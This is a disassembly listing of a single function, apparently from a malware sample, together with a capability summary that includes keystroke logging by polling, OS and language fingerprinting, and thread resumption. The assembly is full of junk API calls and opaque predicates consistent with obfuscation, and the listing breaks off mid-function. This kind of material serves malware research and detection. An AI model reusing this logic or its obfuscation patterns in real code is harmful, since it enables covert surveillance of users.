Function at 0x1003709d
Capabilities:
Accept command line arguments
Check os version
Compare security identifiers
Get common file path
Get disk information
Get file attributes
Get file system object information
Get system information on windows
Identify system language via api
Log keystrokes via polling
Parse pe header
Resume thread

Disassembly:
mov eax, 0x1008bb35
call fcn.1008a030
mov eax, 0x1694
call fcn.100867e0
mov dword [ebp - 0x44], 0xfb871c7b
xor eax, eax
mov dword [ebp - 0x5c], ecx
xor ecx, ecx
mov dword [ebp - 0x30], 4
inc ecx
push ebx
mov dword [ebp - 0x40], 0xd66c4a87
mov dword [ebp - 0x10], eax
push esi
push edi
mov byte [ebp - 0x65], dl
cmp dword [ebp - 0x10], ecx
jge 0x100370f7
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x138], 0x4a6847df
xor eax, eax
inc dword [ebp - 0x10]
inc eax
cmp dword [ebp - 0x10], eax
jl 0x100370dc
xor eax, eax
mov edi, dword [sym.imp.USER32.dll_ValidateRect]
mov esi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10037114
push eax
call esi
push eax
call edi
xor eax, eax
mov ebx, dword [sym.imp.GDI32.dll_CreateRectRgnIndirect]
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], eax
jg 0x100371e5
xor ecx, ecx
inc ecx
mov dword [ebp - 0x18], 0x99244325
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jg 0x100371d4
mov dword [ebp - 0x48], 5
mov dword [ebp - 0x24], 0xfffffff6
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0x138]
mov dword [ebp - 0x40], eax
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x1003716f
push eax
call ebx
xor eax, eax
cmp dword [ebp - 0x44], eax
jne 0x10037177
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0x138]
cmp dword [ebp - 0x44], 0xce2e7c52
jne 0x100371a0
mov eax, dword [ebp - 0x44]
cmp dword [ebp + eax*4 - 0x138], 0
jne 0x100371a0
xor eax, eax
mov ecx, eax
jmp 0x100371a5
xor eax, eax
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x58]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x58]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setg cl
mov dword [ebp + eax*4 - 0x138], ecx
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x10037142
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x40]
inc dword [ebp - 0x44]
xor eax, eax
cmp dword [ebp - 0x44], eax
jle 0x10037129
mov dword [ebp - 0x44], 0xfb871c7b
xor ecx, ecx
mov dword [ebp - 0x30], 4
inc ecx
mov dword [ebp - 0x40], 0xd66c4a87
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x1003721d
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x130], 0x4a6847df
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10037205
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1003722e
push eax
call esi
push eax
call edi
xor eax, eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], eax
jg 0x100372f9
xor edi, edi
inc edi
jmp 0x10037241
xor eax, eax
mov dword [ebp - 0x18], 0x99244325
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x18], eax
jmp 0x100372d9
mov dword [ebp - 0x48], 5
mov dword [ebp - 0x24], 0xfffffff6
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0x130]
mov dword [ebp - 0x40], eax
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x10037283
push eax
call ebx
xor eax, eax
cmp dword [ebp - 0x44], eax
jne 0x1003728b
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0x130]
cmp dword [ebp - 0x44], 0xce2e7c52
jne 0x100372b4
mov eax, dword [ebp - 0x44]
cmp dword [ebp + eax*4 - 0x130], 0
jne 0x100372b4
xor eax, eax
mov ecx, eax
jmp 0x100372b6
mov ecx, edi
mov eax, dword [ebp - 0x58]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x58]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setg cl
mov dword [ebp + eax*4 - 0x130], ecx
inc dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x18], eax
jle 0x10037256
mov eax, dword [ebp - 0x40]
inc dword [ebp - 0x44]
xor eax, eax
cmp dword [ebp - 0x44], eax
jle 0x1003723f
mov edi, dword [sym.imp.USER32.dll_ValidateRect]
lea eax, [ebp - 0x10d0]
xorps xmm0, xmm0
push eax
lea eax, [ebp - 0x10e0]
push eax
lea ecx, [ebp - 0x14dc]
movdqu xmmword [ebp - 0x10e0], xmm0
call fcn.10018524
lea ecx, [ebp - 0x1d6]
mov esi, eax
call fcn.10008e83
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x174]
push dword [esi]
call fcn.100184d3
xor eax, eax
lea ecx, [ebp - 0x174]
mov dword [ebp - 4], eax
or eax, 0xffffffff
mov dword [ebp - 0x28], 0xecb302af
mov dword [ebp - 0x2c], 6
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x18], 0x625c2a3d
mov dword [ebp - 0x40], 0xec3a435f
push 3
call fcn.10018515
push 3
lea ecx, [ebp - 0x174]
call fcn.10018515
xor esi, esi
lea ecx, [ebp - 0x174]
xor ebx, ebx
inc esi
push 3
cmp dword [eax], esi
setne bl
call fcn.10018515
xor ecx, ecx
push 3
cmp ebx, dword [eax]
setl cl
xor ebx, ebx
cmp ecx, 4
lea ecx, [ebp - 0x174]
setne bl
call fcn.10018515
push 3
lea ecx, [ebp - 0x174]
call fcn.10018515
xor eax, eax
lea ecx, [ebp - 0x174]
cmp ebx, esi
push 3
setne al
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
pop esi
push esi
call fcn.10018515
push esi
lea ecx, [ebp - 0x174]
call fcn.10018515
push esi
lea ecx, [ebp - 0x174]
call fcn.10018515
xor eax, eax
lea ecx, [ebp - 0x174]
push eax
call fcn.10018515
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x2c], 0xf
cmp dword [ebp - 0x2c], 0xffffffe8
jle 0x100375f5
xor ebx, ebx
inc ebx
mov dword [ebp - 0x34], 0x459f451d
lea ecx, [ebp - 0xac0]
push 4
call fcn.10018477
xor eax, eax
mov byte [ebp - 4], bl
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x10037459
push dword [ebp - 0x10]
lea ecx, [ebp - 0xac0]
call fcn.10018515
mov dword [eax], 0xe87bb6ab
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1003743a
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 7
jge 0x10037568
mov dword [ebp - 0x18], ebx
lea ecx, [ebp - 0xc14]
push ebx
call fcn.10018477
xor eax, eax
mov byte [ebp - 4], 2
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x100374a1
push dword [ebp - 0x10]
lea ecx, [ebp - 0xc14]
call fcn.10018515
mov dword [eax], 0x87e17710
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10037483
xor eax, eax
cmp dword [ebp - 0x34], eax
jne 0x10037537
mov eax, dword [ebp - 0x34]
xor edx, edx
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
setge dl
imul edx, dword [ebp - 0x28]
mov dword [ebp - 0x58], edx
mov ecx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x18]
add eax, 0xffff9437
add eax, ecx
xor ecx, ecx
test eax, eax
mov eax, dword [ebp - 0x18]
setg cl
cmp ecx, 0xad446302
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setg dl
xor eax, eax
cmp edx, 0x58d3b3e2
setl al
xor edx, edx
cmp eax, 0xfffffffb
setne dl
sub edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
xor eax, eax
add ecx, dword [ebp - 0x34]
cmp ecx, 0x63b8
setne al
cmp eax, 0xf2b6367a
ja 0x10037529
mov eax, dword [ebp - 0x18]
push esi
lea ecx, [ebp - 0x174]
call fcn.10018515
xor eax, eax
mov dword [ebp - 0x18], ebx
lea ecx, [ebp - 0xc14]
push eax
call fcn.10018515
mov ecx, dword [ebp - 0x18]
mov byte [ebp - 4], bl
mov dword [eax], ecx
lea ecx, [ebp - 0xc14]
call fcn.100184f9
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 7
jl 0x10037466
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xc
jne 0x100375da
or ebx, 0xffffffff
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], 0xfffffff1
cmp dword [ebp - 0x28], 0xfffffffb
jne 0x100375a4
push esi
lea ecx, [ebp - 0xac0]
call fcn.10018515
mov dword [eax], 0x2350c165
dec dword [ebp - 0x40]
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffffb
je 0x10037584
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x100375bc
push esi
lea ecx, [ebp - 0xac0]
call fcn.10018515
mov ecx, dword [ebp - 0x2c]
mov dword [eax], ecx
jmp 0x100375cc
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x100375ce
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xc
je 0x10037574
xor ebx, ebx
inc ebx
lea ecx, [ebp - 0xac0]
mov byte [ebp - 4], al
call fcn.100184f9
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffe8
jg 0x10037418
or eax, 0xffffffff
lea ecx, [ebp - 0x174]
mov dword [ebp - 4], eax
call fcn.100184f9
xor eax, eax
mov dword [ebp - 0x10], 0xfffffff6
mov dword [ebp - 0x10], eax
jmp 0x10037627
cmp byte [ebp - 0x39], 0
je 0x10037624
push eax
push eax
call dword [sym.imp.USER32.dll_LoadCursorA]
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 6
mov byte [ebp - 0x39], al
je 0x10037614
cmp byte [ebp - 0x39], 0
mov ebx, dword [sym.imp.USER32.dll_GetDC]
je 0x10037681
push 0x9d0
push 0x48b
push 0x26b9
push eax
push 0xa88
push 0xf77
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call ebx
push eax
push 0x6dd
push 0x21a9
push 0xb2c
push 0x2f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call ebx
push eax
call dword [sym.imp.GDI32.dll_MaskBlt]
mov dword [ebp - 0x44], 0xfb871c7b
lea ecx, [ebp - 0x6d4]
push 2
call fcn.10018477
push 4
lea ecx, [ebp - 0x554]
mov dword [ebp - 4], esi
call fcn.10018477
mov byte [ebp - 4], 4
or esi, 0xffffffff
mov dword [ebp - 0x38], esi
xor ebx, ebx
mov dword [ebp - 0x18], 5
inc ebx
mov dword [ebp - 0x40], 8
xor eax, eax
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x24], 0x1b78
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x100376f7
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x6d4]
call fcn.10018515
mov dword [eax], 0xfa5c62e0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x100376d8
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x1003771f
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x554]
call fcn.10018515
mov dword [eax], 8
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10037700
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10037731
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x152c], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10037724
push ebx
lea ecx, [ebp - 0x6d4]
call fcn.10018515
mov ecx, dword [ebp - 0x40]
mov esi, 0xffff
add ecx, dword [eax]
dec dword [ebp - 0x40]
test ecx, ecx
je 0x100377c3
push ebx
lea ecx, [ebp - 0x554]
call fcn.10018515
mov eax, dword [eax]
add eax, esi
jne 0x1003777d
push ebx
lea ecx, [ebp - 0x6d4]
call fcn.10018515
cmp dword [eax], 0
jne 0x1003777d
xor eax, eax
mov esi, eax
jmp 0x1003777f
mov esi, ebx
push 3
lea ecx, [ebp - 0x554]
call fcn.10018515
push ebx
lea ecx, [ebp - 0x6d4]
mov dword [eax], esi
call fcn.10018515
mov ecx, dword [ebp - 0x18]
inc ecx
push ebx
mov dword [eax], ecx
lea ecx, [ebp - 0x554]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
call fcn.10018515
mov ecx, dword [ebp - 0x38]
cmp dword [eax], ecx
jne 0x100377c3
mov eax, ebx
jmp 0x100377c5
xor eax, eax
cmp eax, dword [ebp - 0x48]
jge 0x100377d5
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x100377d7
mov eax, ebx
jmp 0x100377d7
xor eax, eax
mov dword [ebp - 0x1528], eax
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffeb
jle 0x100378cf
mov edi, 0xffff
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10037813
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x400], 4
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x100377fa
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xf
jge 0x100378bc
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x24], 7
mov eax, dword [ebp - 0x400]
xor eax, eax
cmp dword [ebp - 0x400], eax
jne 0x10037897
cmp dword [ebp - 0x58], eax
jne 0x10037897
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x10037861
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x12c0], 0x1939efd9
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10037848
xor eax, eax
cmp dword [ebp - 0x58], eax
je 0x1003788c
cmp dword [ebp - 0x400], eax
jne 0x10037886
push ebx
lea ecx, [ebp - 0x554]
call fcn.10018515
mov eax, dword [ebp - 0x12c0]
mov eax, dword [ebp - 0x400]
mov eax, dword [ebp - 0x400]
mov eax, dword [ebp - 0x12b8]
mov dword [ebp - 0x24], eax
jmp 0x100378ad
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x100378ad
push eax
push eax
push 0x1d53
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xf
jl 0x10037820
xor eax, eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffeb
jg 0x100377f1
mov edi, dword [sym.imp.USER32.dll_ValidateRect]
lea ecx, [ebp - 0x554]
call fcn.100184f9
or esi, 0xffffffff
lea ecx, [ebp - 0x6d4]
mov dword [ebp - 4], esi
call fcn.100184f9
mov dword [ebp - 0x30], 4
lea ecx, [ebp - 0xf7c]
xor eax, eax
mov dword [ebp - 0x40], 0xd66c4a87
mov dword [ebp - 0x38], eax
push ebx
call fcn.10018477
xor eax, eax
mov dword [ebp - 4], 5
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x10037936
mov ecx, 0xffff
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x94c], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x10037921
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x1003795c
push dword [ebp - 0x20]
lea ecx, [ebp - 0xf7c]
call fcn.10018515
mov dword [eax], 0x46552ded
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x1003793e
xor eax, eax
mov dword [ebp - 0x38], 0xffffffec
cmp dword [ebp - 0x38], 0x1c
jl 0x10037bd1
push 3
pop esi
push 0xfffffffffffffff8
pop edi
mov dword [ebp - 0x20], 0x8d581621
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jg 0x10037bbb
mov dword [ebp - 0x34], eax
lea ecx, [ebp - 0x8e0]
push ebx
call fcn.10018477
mov byte [ebp - 4], 6
xor eax, eax
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x100379c4
push dword [ebp - 0x10]
lea ecx, [ebp - 0x8e0]
call fcn.10018515
mov dword [eax], 0x8fa8f90a
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x100379a6
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x10037b54
push 0xfffffffffffffffc
pop ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x44], esi
cmp dword [ebp - 0x44], eax
jl 0x10037a1f
push eax
lea ecx, [ebp - 0x8e0]
call fcn.10018515
mov dword [eax], 0x545ee28f
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x10037a17
push 0x10e7
push 0x1e67
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CreateCaret]
dec dword [ebp - 0x44]
push 0
pop eax
jns 0x100379e3
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], esi
jg 0x10037b51
push 2
lea ecx, [ebp - 0x1f0]
call fcn.10018477
xor eax, eax
mov byte [ebp - 4], 7
mov dword [ebp - 0x10], eax
jmp 0x10037a54
push dword [ebp - 0x10]
call fcn.10018515
mov dword [eax], 0x9e9d60a2
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
lea ecx, [ebp - 0x1f0]
jl 0x10037a43
push ebx
call fcn.10018515
xor ebx, ebx
xor esi, esi
inc esi
mov dword [eax], ebx
jmp 0x10037b16
push esi
call fcn.10018515
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0x94c], ebx
je 0x10037ae9
mov eax, dword [ebp - 0x34]
xor ecx, ecx
cmp eax, 0x26c4
mov eax, dword [ebp - 0x44]
setge cl
xor ebx, ebx
cmp ecx, eax
lea ecx, [ebp - 0x8e0]
setle bl
xor eax, eax
push eax
call fcn.10018515
mov dword [eax], ebx
mov eax, dword [ebp - 0x20]
sub eax, ebx
jne 0x10037abd
push eax
lea ecx, [ebp - 0x8e0]
call fcn.10018515
push esi
lea ecx, [ebp - 0x1f0]
call fcn.10018515
push esi
lea ecx, [ebp - 0x1f0]
call fcn.10018515
xor ebx, ebx
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x94c]
mov eax, dword [ebp - 0x94c]
mov eax, dword [ebp - 0x20]
push esi
lea ecx, [ebp - 0x1f0]
call fcn.10018515
push esi
mov eax, dword [eax]
mov ecx, dword [ebp + eax*4 - 0x94c]
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x94c], ecx
lea ecx, [ebp - 0x1f0]
call fcn.10018515
inc dword [eax]
push esi
lea ecx, [ebp - 0x1f0]
call fcn.10018515
lea ecx, [ebp - 0x1f0]
cmp dword [eax], 3
jle 0x10037a72
inc dword [ebp - 0x18]
mov byte [ebp - 4], 6
call fcn.100184f9
inc dword [ebp - 0x44]
push 3
pop esi
push 1
pop ebx
cmp dword [ebp - 0x44], esi
jle 0x10037a2b
xor eax, eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], esi
jle 0x100379cc
mov dword [ebp - 0x18], eax
jmp 0x10037b98
mov dword [ebp - 0x24], 0xa2c0
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x94c], 0
jne 0x10037b7f
cmp dword [ebp - 0x20], ebx
jg 0x10037b7f
mov eax, ebx
jmp 0x10037b81
xor eax, eax
xor edx, edx
cmp eax, ebx
mov eax, dword [ebp - 0x20]
setne dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x24], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x10037b62
lea ecx, [ebp - 0x8e0]
mov byte [ebp - 4], 5
call fcn.100184f9
inc dword [ebp - 0x20]
push 0
pop eax
cmp dword [ebp - 0x20], esi
jle 0x10037986
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0x1c
jge 0x10037973
mov edi, dword [sym.imp.USER32.dll_ValidateRect]
or esi, 0xffffffff
lea ecx, [ebp - 0xf7c]
mov dword [ebp - 4], esi
call fcn.100184f9
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10037c01
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x134], 0x4a6847df
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10037be9
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10037c16
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
xor eax, eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], eax
jg 0x10037cdc
jmp 0x10037c26
xor eax, eax
mov dword [ebp - 0x18], 0x99244325
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x18], eax
jmp 0x10037cc2
mov dword [ebp - 0x48], 5
mov dword [ebp - 0x24], 0xfffffff6
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0x134]
mov dword [ebp - 0x40], eax
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x10037c6c
push eax
call dword [sym.imp.GDI32.dll_CreateRectRgnIndirect]
xor eax, eax
cmp dword [ebp - 0x44], eax
jne 0x10037c74
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0x134]
cmp dword [ebp - 0x44], 0xce2e7c52
jne 0x10037c9d
mov eax, dword [ebp - 0x44]
cmp dword [ebp + eax*4 - 0x134], 0
jne 0x10037c9d
xor eax, eax
mov ecx, eax
jmp 0x10037c9f
mov ecx, ebx
mov eax, dword [ebp - 0x58]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x58]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setg cl
mov dword [ebp + eax*4 - 0x134], ecx
inc dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x18], eax
jle 0x10037c3b
mov eax, dword [ebp - 0x40]
inc dword [ebp - 0x44]
xor eax, eax
cmp dword [ebp - 0x44], eax
jle 0x10037c24
mov dword [ebp - 0x38], ebx
lea ecx, [ebp - 0x6ec]
mov dword [ebp - 0x28], 0x12d2c87a
mov dword [ebp - 0x44], 0xda8ed40a
mov dword [ebp - 0x18], 0xde64f6cb
push 2
call fcn.10018477
xor eax, eax
mov dword [ebp - 4], 8
mov dword [ebp - 0x10], eax
jmp 0x10037d26
push dword [ebp - 0x10]
lea ecx, [ebp - 0x6ec]
call fcn.10018515
mov dword [eax], 0x1a82e77e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10037d0f
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x38], ebx
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x44]
dec edx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setle cl
xor eax, eax
cmp ecx, esi
setge al
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x28], eax
je 0x10037d6b
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x10037d6d
mov eax, ebx
jmp 0x10037d6d
xor eax, eax
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], ebx
jg 0x10037e10
mov dword [ebp - 0x58], 0x4ddc87
mov dword [ebp - 0x44], ebx
cmp dword [ebp - 0x44], eax
jl 0x10037de0
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], eax
jl 0x10037ddb
mov dword [ebp - 0x18], eax
jmp 0x10037dab
push dword [ebp - 0x18]
call fcn.10018515
mov dword [eax], 0x255d5800
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
lea ecx, [ebp - 0x6ec]
jl 0x10037d9a
push dword [ebp - 0x38]
call fcn.10018515
push dword [ebp - 0x28]
lea ecx, [ebp - 0x6ec]
mov esi, eax
call fcn.10018515
mov ecx, dword [esi]
push 0
mov dword [eax], ecx
dec dword [ebp - 0x28]
pop eax
jns 0x10037d95
dec dword [ebp - 0x44]
jns 0x10037d8d
mov dword [ebp - 0x44], ebx
cmp dword [ebp - 0x44], eax
jl 0x10037e01
dec dword [ebp - 0x58]
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10037dfc
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
xor eax, eax
dec dword [ebp - 0x44]
jns 0x10037de8
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ebx
jle 0x10037d7e
or esi, 0xffffffff
lea ecx, [ebp - 0x6ec]
mov dword [ebp - 4], esi
call fcn.100184f9
mov dword [ebp - 0x30], 0xef20fe6e
xor eax, eax
mov dword [ebp - 0x30], 0xbeccce1e
mov dword [ebp - 0x30], 2
mov dword [ebp - 0x30], 0xe923e64f
mov dword [ebp - 0x30], 0xfffffff9
mov dword [ebp - 0x30], 0x68029989
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], 0x6985
mov dword [ebp - 0x58], 0xe6b99bf0
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x10037e79
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x15d0], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10037e64
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10037e99
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1048], 0xfffffff6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10037e81
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10037eaf
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xf10], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10037e9e
inc dword [ebp - 0x58]
lea eax, [ebp - 0x1110]
push eax
lea eax, [ebp - 0x1120]
xorps xmm0, xmm0
push eax
lea ecx, [ebp - 0x14b4]
movdqu xmmword [ebp - 0x1120], xmm0
call fcn.10018524
lea ecx, [ebp - 0x1bc]
mov esi, eax
call fcn.10008e83
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x184]
push dword [esi]
call fcn.100184d3
mov dword [ebp - 4], 9
lea ecx, [ebp - 0x184]
mov dword [ebp - 0x28], 0xecb302af
or eax, 0xffffffff
mov dword [ebp - 0x2c], 6
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x18], 0x625c2a3d
mov dword [ebp - 0x40], 0xec3a435f
push 3
call fcn.10018515
push 3
lea ecx, [ebp - 0x184]
call fcn.10018515
xor esi, esi
lea ecx, [ebp - 0x184]
xor ebx, ebx
inc esi
push 3
cmp dword [eax], esi
setne bl
call fcn.10018515
xor ecx, ecx
push 3
cmp ebx, dword [eax]
setl cl
xor ebx, ebx
cmp ecx, 4
lea ecx, [ebp - 0x184]
setne bl
call fcn.10018515
push 3
lea ecx, [ebp - 0x184]
call fcn.10018515
xor eax, eax
lea ecx, [ebp - 0x184]
cmp ebx, esi
push 3
setne al
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
pop ebx
push ebx
call fcn.10018515
push ebx
lea ecx, [ebp - 0x184]
call fcn.10018515
push ebx
lea ecx, [ebp - 0x184]
call fcn.10018515
xor eax, eax
lea ecx, [ebp - 0x184]
push eax
call fcn.10018515
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x2c], 0xf
jmp 0x100381a6
mov dword [ebp - 0x34], 0x459f451d
lea ecx, [ebp - 0xa00]
push 4
call fcn.10018477
xor eax, eax
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x10038012
push dword [ebp - 0x10]
lea ecx, [ebp - 0xa00]
